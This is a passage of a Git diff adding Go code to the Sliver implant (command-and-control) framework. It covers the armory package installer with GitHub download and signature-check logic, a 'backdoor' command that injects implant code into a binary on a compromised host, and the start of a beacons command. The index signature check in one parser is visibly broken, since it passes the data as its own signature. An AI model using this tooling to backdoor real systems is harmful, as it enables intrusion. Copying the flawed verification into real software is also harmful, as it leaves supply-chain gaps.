+		return
+	}
+	if err == ErrPackageNotFound {
+		bundles := bundlesInCache()
+		for _, bundle := range bundles {
+			if bundle.Name == name {
+				installBundle(bundle, clientConfig, con)
+				return
+			}
+		}
+	}
+	con.PrintErrorf("No package or bundle named '%s' was found", name)
+}
+
+func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
+	for _, pkgName := range bundle.Packages {
+		err := installPackageByName(pkgName, clientConfig, con)
+		if err != nil {
+			con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
+		}
+	}
+}
+
+func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
+	aliases, extensions := packagesInCache()
+	for _, alias := range aliases {
+		if alias.CommandName == name {
+			installAlias(alias, clientConfig, con)
+			return nil
+		}
+	}
+	for _, ext := range extensions {
+		if ext.CommandName == name {
+			installExtension(ext, clientConfig, con)
+			return nil
+		}
+	}
+	return ErrPackageNotFound
+}
+
+func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
+	err := installAliasPackageByName(alias.CommandName, clientConfig, con)
+	if err != nil {
+		con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
+		return
+	}
+}
+
+func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
+	var entry *pkgCacheEntry
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry := value.(pkgCacheEntry)
+		if cacheEntry.Pkg.CommandName == name {
+			entry = &cacheEntry
+			return false
+		}
+		return true
+	})
+	if entry == nil {
+		return errors.New("package not found")
+	}
+	repoURL, err := url.Parse(entry.RepoURL)
+	if err != nil {
+		return err
+	}
+
+	con.PrintInfof("Downloading alias ...")
+
+	var sig *minisign.Signature
+	var tarGz []byte
+	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
+		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
+	} else {
+		sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
+	}
+	if err != nil {
+		return err
+	}
+
+	var publicKey minisign.PublicKey
+	publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
+	rawSig, _ := sig.MarshalText()
+	valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
+	if !valid {
+		return errors.New("signature verification failed")
+	}
+
+	tmpFile, err := ioutil.TempFile("", "sliver-armory-")
+	if err != nil {
+		return err
+	}
+	defer os.Remove(tmpFile.Name())
+	_, err = tmpFile.Write(tarGz)
+	if err != nil {
+		return err
+	}
+	tmpFile.Close()
+
+	con.Printf(console.Clearln + "\r") // Clear the line
+
+	installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
+	if installPath == nil {
+		return errors.New("failed to install alias")
+	}
+	_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
+	if err != nil {
+		return err
+	}
+	return nil
+}
+
+func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
+	deps := make(map[string]struct{})
+	resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
+	for dep := range deps {
+		if extensions.CmdExists(dep, con.App) {
+			continue // Dependency is already installed
+		}
+		err := installExtensionPackageByName(dep, clientConfig, con)
+		if err != nil {
+			con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
+			return
+		}
+	}
+	err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
+	if err != nil {
+		con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
+		return
+	}
+}
+
+const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
+
+func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
+	var entry *pkgCacheEntry
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry := value.(pkgCacheEntry)
+		if cacheEntry.Pkg.CommandName == name {
+			entry = &cacheEntry
+			return false
+		}
+		return true
+	})
+	if entry == nil {
+		return
+	}
+
+	if entry.Extension.DependsOn == "" {
+		return // Avoid adding empty dependency
+	}
+
+	if entry.Extension.DependsOn == name {
+		return // Avoid infinite loop of something that depends on itself
+	}
+	// We also need to look out for circular dependencies, so if we've already
+	// seen this dependency, we stop resolving
+	if _, ok := deps[entry.Extension.DependsOn]; ok {
+		return // Already resolved
+	}
+	if maxDepDepth < len(deps) {
+		return
+	}
+	deps[entry.Extension.DependsOn] = struct{}{}
+	resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
+}
+
+func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
+	var entry *pkgCacheEntry
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry := value.(pkgCacheEntry)
+		if cacheEntry.Pkg.CommandName == name {
+			entry = &cacheEntry
+			return false
+		}
+		return true
+	})
+	if entry == nil {
+		return errors.New("package not found")
+	}
+	repoURL, err := url.Parse(entry.RepoURL)
+	if err != nil {
+		return err
+	}
+
+	con.PrintInfof("Downloading extension ...")
+
+	var sig *minisign.Signature
+	var tarGz []byte
+	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
+		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
+	} else {
+		sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
+	}
+	if err != nil {
+		return err
+	}
+
+	var publicKey minisign.PublicKey
+	publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
+	rawSig, _ := sig.MarshalText()
+	valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
+	if !valid {
+		return errors.New("signature verification failed")
+	}
+
+	tmpFile, err := ioutil.TempFile("", "sliver-armory-")
+	if err != nil {
+		return err
+	}
+	defer os.Remove(tmpFile.Name())
+	_, err = tmpFile.Write(tarGz)
+	if err != nil {
+		return err
+	}
+	err = tmpFile.Sync()
+	if err != nil {
+		return err
+	}
+
+	con.Printf(console.Clearln + "\r") // Clear download message
+
+	installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
+	if installPath == nil {
+		return errors.New("failed to install extension")
+	}
+	extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
+	if err != nil {
+		return err
+	}
+	if extensions.CmdExists(extCmd.Name, con.App) {
+		con.App.Commands().Remove(extCmd.Name)
+	}
+	extensions.ExtensionRegisterCommand(extCmd, con)
+	return nil
+}

client/command/armory/parsers.go

@@ -0,0 +1,468 @@
+package armory
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"crypto/tls"
+	"encoding/base64"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io/ioutil"
+	"net"
+	"net/http"
+	"net/url"
+	"path"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/server/cryptography/minisign"
+)
+
+// ArmoryIndexParser - Generic interface to fetch armory indexes
+type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
+
+// ArmoryPackageParser - Generic interface to fetch armory package manifests
+type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
+
+var (
+	indexParsers = map[string]ArmoryIndexParser{
+		"api.github.com": GithubAPIArmoryIndexParser,
+	}
+	pkgParsers = map[string]ArmoryPackageParser{
+		"api.github.com": GithubAPIArmoryPackageParser,
+		"github.com":     GithubArmoryPackageParser,
+	}
+)
+
+const (
+	armoryIndexFileName    = "armory.json"
+	armoryIndexSigFileName = "armory.minisig"
+)
+
+type armoryIndexResponse struct {
+	Minisig     string `json:"minisig"`      // Minisig
+	ArmoryIndex string `json:"armory_index"` // Base64 String
+}
+
+type armoryPkgResponse struct {
+	Minisig  string `json:"minisig"` // Minisig
+	TarGzURL string `json:"tar_gz_url"`
+}
+
+//
+// Default Parsers for Self-Hosted Armories
+//
+
+// DefaultArmoryParser - Parse the armory index directly from the url
+func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
+	var publicKey minisign.PublicKey
+	err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
+	if err != nil {
+		return nil, err
+	}
+
+	client := httpClient(clientConfig)
+	resp, err := client.Get(armoryConfig.RepoURL)
+	if err != nil {
+		return nil, err
+	}
+	defer resp.Body.Close()
+	body, err := ioutil.ReadAll(resp.Body)
+	if err != nil {
+		return nil, err
+	}
+	if resp.StatusCode != http.StatusOK {
+		return nil, errors.New("api returned non-200 status code")
+	}
+	index := &armoryIndexResponse{}
+	err = json.Unmarshal(body, index)
+	if err != nil {
+		return nil, err
+	}
+
+	// Verify index is signed by trusted key
+	valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
+	if !valid {
+		return nil, errors.New("invalid signature")
+	}
+
+	armoryIndex := &ArmoryIndex{}
+	armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
+	if err != nil {
+		return nil, err
+	}
+	err = json.Unmarshal(armoryIndexData, armoryIndex)
+	if err != nil {
+		return nil, err
+	}
+	return armoryIndex, nil
+}
+
+// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
+func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+	var publicKey minisign.PublicKey
+	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
+	if err != nil {
+		return nil, nil, err
+	}
+
+	client := httpClient(clientConfig)
+	resp, err := client.Get(armoryPkg.RepoURL)
+	if err != nil {
+		return nil, nil, err
+	}
+	defer resp.Body.Close()
+	body, err := ioutil.ReadAll(resp.Body)
+	if err != nil {
+		return nil, nil, err
+	}
+	if resp.StatusCode != http.StatusOK {
+		return nil, nil, errors.New("api returned non-200 status code")
+	}
+	pkgResp := &armoryPkgResponse{}
+	err = json.Unmarshal(body, pkgResp)
+	if err != nil {
+		return nil, nil, err
+	}
+	sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
+	if err != nil {
+		return nil, nil, err
+	}
+	var tarGz []byte
+	if !sigOnly {
+		tarGzURL, err := url.Parse(armoryPkg.RepoURL)
+		if err != nil {
+			return nil, nil, err
+		}
+		if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
+			return nil, nil, errors.New("invalid url scheme")
+		}
+		resp, err := client.Get(tarGzURL.String())
+		if err != nil {
+			return nil, nil, err
+		}
+		defer resp.Body.Close()
+		tarGz, err = ioutil.ReadAll(resp.Body)
+		if err != nil {
+			return nil, nil, err
+		}
+		if resp.StatusCode != http.StatusOK {
+			return nil, nil, errors.New("api returned non-200 status code")
+		}
+	}
+	return sig, tarGz, nil
+}
+
+//
+// GitHub API Parsers
+//
+
+type GithubAsset struct {
+	ID   int    `json:"id"`
+	Name string `json:"name"`
+	URL  string `json:"url"`
+	Size int    `json:"size"`
+
+	BrowserDownloadURL string `json:"browser_download_url"`
+}
+
+type GithubRelease struct {
+	ID          int           `json:"id"`
+	Name        string        `json:"name"`
+	URL         string        `json:"url"`
+	HTMLURL     string        `json:"html_url"`
+	TagName     string        `json:"tag_name"`
+	Body        string        `json:"body"`
+	Prerelease  bool          `json:"prerelease"`
+	TarballURL  string        `json:"tarball_url"`
+	ZipballURL  string        `json:"zipball_url"`
+	CreatedAt   string        `json:"created_at"`
+	PublishedAt string        `json:"published_at"`
+	Assets      []GithubAsset `json:"assets"`
+}
+
+// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
+func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
+	var publicKey minisign.PublicKey
+	err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
+	if err != nil {
+		return nil, err
+	}
+
+	client := httpClient(clientConfig)
+	resp, err := client.Get(armoryConfig.RepoURL)
+	if err != nil {
+		return nil, err
+	}
+	defer resp.Body.Close()
+	body, err := ioutil.ReadAll(resp.Body)
+	if err != nil {
+		return nil, err
+	}
+	if resp.StatusCode != http.StatusOK {
+		if resp.StatusCode == http.StatusForbidden {
+			return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
+		}
+		return nil, errors.New("api returned non-200 status code")
+	}
+
+	releases := []GithubRelease{}
+	err = json.Unmarshal(body, &releases)
+	if err != nil {
+		return nil, err
+	}
+	if len(releases) < 1 {
+		return nil, errors.New("no releases found")
+	}
+	release := releases[0] // Latest only right now
+
+	var armoryIndexData []byte
+	var sigData []byte
+	for _, asset := range release.Assets {
+		if asset.Name == armoryIndexFileName {
+			resp, err := client.Get(asset.BrowserDownloadURL)
+			if err != nil {
+				return nil, err
+			}
+			defer resp.Body.Close()
+			armoryIndexData, err = ioutil.ReadAll(resp.Body)
+			if err != nil {
+				return nil, err
+			}
+		}
+		if asset.Name == armoryIndexSigFileName {
+			resp, err := client.Get(asset.BrowserDownloadURL)
+			if err != nil {
+				return nil, err
+			}
+			defer resp.Body.Close()
+			sigData, err = ioutil.ReadAll(resp.Body)
+			if err != nil {
+				return nil, err
+			}
+		}
+	}
+
+	// Verify index is signed by trusted key
+	valid := minisign.Verify(publicKey, armoryIndexData, sigData)
+	if !valid {
+		return nil, errors.New("invalid signature")
+	}
+
+	armoryIndex := &ArmoryIndex{}
+	err = json.Unmarshal(armoryIndexData, armoryIndex)
+	if err != nil {
+		return nil, err
+	}
+	return armoryIndex, nil
+}
+
+// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
+func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+	var publicKey minisign.PublicKey
+	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
+	if err != nil {
+		return nil, nil, err
+	}
+
+	client := httpClient(clientConfig)
+	resp, err := client.Get(armoryPkg.RepoURL)
+	if err != nil {
+		return nil, nil, err
+	}
+	defer resp.Body.Close()
+	body, err := ioutil.ReadAll(resp.Body)
+	if err != nil {
+		return nil, nil, err
+	}
+	if resp.StatusCode != http.StatusOK {
+		if resp.StatusCode == http.StatusForbidden {
+			return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
+		}
+		return nil, nil, errors.New("api returned non-200 status code")
+	}
+
+	releases := []GithubRelease{}
+	err = json.Unmarshal(body, &releases)
+	if err != nil {
+		return nil, nil, err
+	}
+	release := releases[0] // Latest only right now
+
+	var sig *minisign.Signature
+	var tarGz []byte
+	for _, asset := range release.Assets {
+		if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
+			var resp *http.Response
+			resp, err = client.Get(asset.BrowserDownloadURL)
+			if err != nil {
+				break
+			}
+			defer resp.Body.Close()
+			var body []byte
+			body, err = ioutil.ReadAll(resp.Body)
+			if err != nil {
+				break
+			}
+			sig, err = parsePkgMinsig(body)
+			if err != nil {
+				break
+			}
+		}
+		if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
+			var resp *http.Response
+			resp, err = client.Get(asset.BrowserDownloadURL)
+			if err != nil {
+				break
+			}
+			defer resp.Body.Close()
+			tarGz, err = ioutil.ReadAll(resp.Body)
+			if err != nil {
+				break
+			}
+		}
+	}
+	return sig, tarGz, err
+}
+
+//
+// GitHub Parsers
+//
+
+// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
+func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+	latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
+	if err != nil {
+		return nil, nil, err
+	}
+	client := httpClient(clientConfig)
+
+	sigURL, err := url.Parse(armoryPkg.RepoURL)
+	if err != nil {
+		return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
+	}
+	sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
+	sigResp, err := client.Get(sigURL.String())
+	if err != nil {
+		return nil, nil, err
+	}
+	defer sigResp.Body.Close()
+	if sigResp.StatusCode != http.StatusOK {
+		return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
+	}
+	var body []byte
+	body, err = ioutil.ReadAll(sigResp.Body)
+	if err != nil {
+		return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
+	}
+	sig, err := parsePkgMinsig(body)
+	if err != nil {
+		return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
+	}
+
+	var tarGz []byte
+	if !sigOnly {
+		tarGzURL, err := url.Parse(armoryPkg.RepoURL)
+		if err != nil {
+			return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
+		}
+		tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
+		tarGzResp, err := client.Get(tarGzURL.String())
+		if err != nil {
+			return nil, nil, err
+		}
+		defer tarGzResp.Body.Close()
+		if tarGzResp.StatusCode != http.StatusOK {
+			return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
+		}
+		tarGz, err = ioutil.ReadAll(tarGzResp.Body)
+		if err != nil {
+			return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
+		}
+	}
+
+	return sig, tarGz, nil
+}
+
+// We need to intercept the 302 redirect to determine the latest version tag
+func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
+	client := httpClient(clientConfig)
+	client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
+		return http.ErrUseLastResponse
+	}
+	latestURL, err := url.Parse(armoryPkg.RepoURL)
+	if err != nil {
+		return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
+	}
+	latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
+	latestRedirect, err := client.Get(latestURL.String())
+	if err != nil {
+		return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
+	}
+	defer latestRedirect.Body.Close()
+	if latestRedirect.StatusCode != http.StatusFound {
+		return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
+	}
+	if latestRedirect.Header.Get("Location") == "" {
+		return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
+	}
+	latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
+	if err != nil {
+		return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
+			armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
+	}
+	pathSegments := strings.Split(latestLocationURL.Path, "/")
+	for index, segment := range pathSegments {
+		if segment == "tag" && index+1 < len(pathSegments) {
+			return pathSegments[index+1], nil
+		}
+	}
+	return "", errors.New("tag not found in location header")
+}
+
+func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
+	var sig minisign.Signature
+	err := sig.UnmarshalText(data)
+	if err != nil {
+		return nil, err
+	}
+	if len(sig.TrustedComment) < 1 {
+		return nil, errors.New("missing trusted comment")
+	}
+	return &sig, nil
+}
+
+func httpClient(config ArmoryHTTPConfig) *http.Client {
+	return &http.Client{
+		Timeout: config.Timeout,
+		Transport: &http.Transport{
+			Dial: (&net.Dialer{
+				Timeout: config.Timeout,
+			}).Dial,
+			IdleConnTimeout:     time.Millisecond,
+			Proxy:               http.ProxyURL(config.ProxyURL),
+			TLSHandshakeTimeout: config.Timeout,
+			TLSClientConfig: &tls.Config{
+				InsecureSkipVerify: config.DisableTLSValidation,
+			},
+		},
+	}
+}

client/command/armory/search.go

@@ -0,0 +1,65 @@
+package armory
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"regexp"
+
+	"github.com/bishopfox/sliver/client/command/alias"
+	"github.com/bishopfox/sliver/client/command/extensions"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// ArmorySearchCmd - Search for packages by name
+func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	con.PrintInfof("Refreshing package cache ... ")
+	clientConfig := parseArmoryHTTPConfig(ctx)
+	refresh(clientConfig)
+	con.Printf(console.Clearln + "\r")
+	rawNameExpr := ctx.Args.String("name")
+	if rawNameExpr == "" {
+		con.PrintErrorf("Please specify a search term!\n")
+		return
+	}
+	nameExpr, err := regexp.Compile(rawNameExpr)
+	if err != nil {
+		con.PrintErrorf("Invalid regular expression: %s\n", err)
+		return
+	}
+
+	aliases, exts := packagesInCache()
+	matchedAliases := []*alias.AliasManifest{}
+	for _, a := range aliases {
+		if nameExpr.MatchString(a.CommandName) {
+			matchedAliases = append(matchedAliases, a)
+		}
+	}
+	matchedExts := []*extensions.ExtensionManifest{}
+	for _, ext := range exts {
+		if nameExpr.MatchString(ext.CommandName) {
+			matchedExts = append(matchedExts, ext)
+		}
+	}
+	if len(matchedAliases) == 0 && len(matchedExts) == 0 {
+		con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
+		return
+	}
+	PrintArmoryPackages(matchedAliases, matchedExts, con)
+}

client/command/armory/update.go

@@ -0,0 +1,112 @@
+package armory
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"io/ioutil"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/alias"
+	"github.com/bishopfox/sliver/client/command/extensions"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// ArmoryUpdateCmd - Update all installed extensions/aliases
+func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	con.PrintInfof("Refreshing package cache ... ")
+	clientConfig := parseArmoryHTTPConfig(ctx)
+	refresh(clientConfig)
+	con.Printf(console.Clearln + "\r")
+
+	// Aliases
+	aliasUpdates := checkForAliasUpdates(clientConfig, con)
+	if 0 < len(aliasUpdates) {
+		con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
+		for _, aliasName := range aliasUpdates {
+			err := installAliasPackageByName(aliasName, clientConfig, con)
+			if err != nil {
+				con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
+			}
+		}
+	} else {
+		con.PrintInfof("All aliases up to date!\n")
+	}
+
+	// Extensions
+	extUpdates := checkForExtensionUpdates(clientConfig, con)
+	if 0 < len(extUpdates) {
+		con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
+		for _, extName := range extUpdates {
+			err := installExtensionPackageByName(extName, clientConfig, con)
+			if err != nil {
+				con.PrintErrorf("Failed to update %s: %s\n", extName, err)
+			}
+		}
+	} else {
+		con.PrintInfof("All extensions up to date!\n")
+	}
+}
+
+func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
+	cachedAliases, _ := packagesInCache()
+	results := []string{}
+	for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
+		data, err := ioutil.ReadFile(aliasManifestPath)
+		if err != nil {
+			continue
+		}
+		localManifest, err := alias.ParseAliasManifest(data)
+		if err != nil {
+			continue
+		}
+		for _, latestAlias := range cachedAliases {
+			// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
+			// the armory differs at all from the local version, the extension is out of date.
+			if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
+				results = append(results, localManifest.CommandName)
+			}
+		}
+	}
+	return results
+}
+
+func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
+	_, cachedExtensions := packagesInCache()
+	results := []string{}
+	for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
+		data, err := ioutil.ReadFile(extManifestPath)
+		if err != nil {
+			continue
+		}
+		localManifest, err := extensions.ParseExtensionManifest(data)
+		if err != nil {
+			continue
+		}
+		for _, latestExt := range cachedExtensions {
+			// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
+			// the armory differs at all from the local version, the extension is out of date.
+			if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
+				results = append(results, localManifest.CommandName)
+			}
+		}
+	}
+	return results
+}

client/command/backdoor/README.md

@@ -0,0 +1,4 @@
+Backdoor
+========
+
+Implements command related to `backdoor`

client/command/backdoor/backdoor.go

@@ -0,0 +1,66 @@
+package backdoor
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+// BackdoorCmd - Command to inject implant code into an existing binary
+func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	remoteFilePath := ctx.Args.String("remote-file")
+	if remoteFilePath == "" {
+		con.PrintErrorf("Please provide a remote file path. See `help backdoor` for more info")
+		return
+	}
+
+	profileName := ctx.Flags.String("profile")
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
+	con.SpinUntil(msg, ctrl)
+	backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
+		FilePath:    remoteFilePath,
+		ProfileName: profileName,
+		Request:     con.ActiveTarget.Request(ctx),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if backdoor.Response != nil && backdoor.Response.Err != "" {
+		con.PrintErrorf("%s\n", backdoor.Response.Err)
+		return
+	}
+
+	con.PrintInfof("Uploaded backdoor'd binary to %s\n", remoteFilePath)
+}

client/command/beacons/README.md

@@ -0,0 +1,4 @@
+Beacons
+========
+
+This package implements the beacons command, which can be used to list and interact with beacons.

client/command/beacons/beacons.go

@@ -0,0 +1,169 @@
+package beacons
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/command/kill"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"golang.org/x/term"
+)
+
+// BeaconsCmd - Display/interact with beacons
+func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	killFlag := ctx.Flags.String("kill")
+	killAll := ctx.Flags.Bool("kill-all")
+
+	// Handle kill
+	if killFlag != "" {
+		beacon, err := GetBeacon(con, killFlag)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
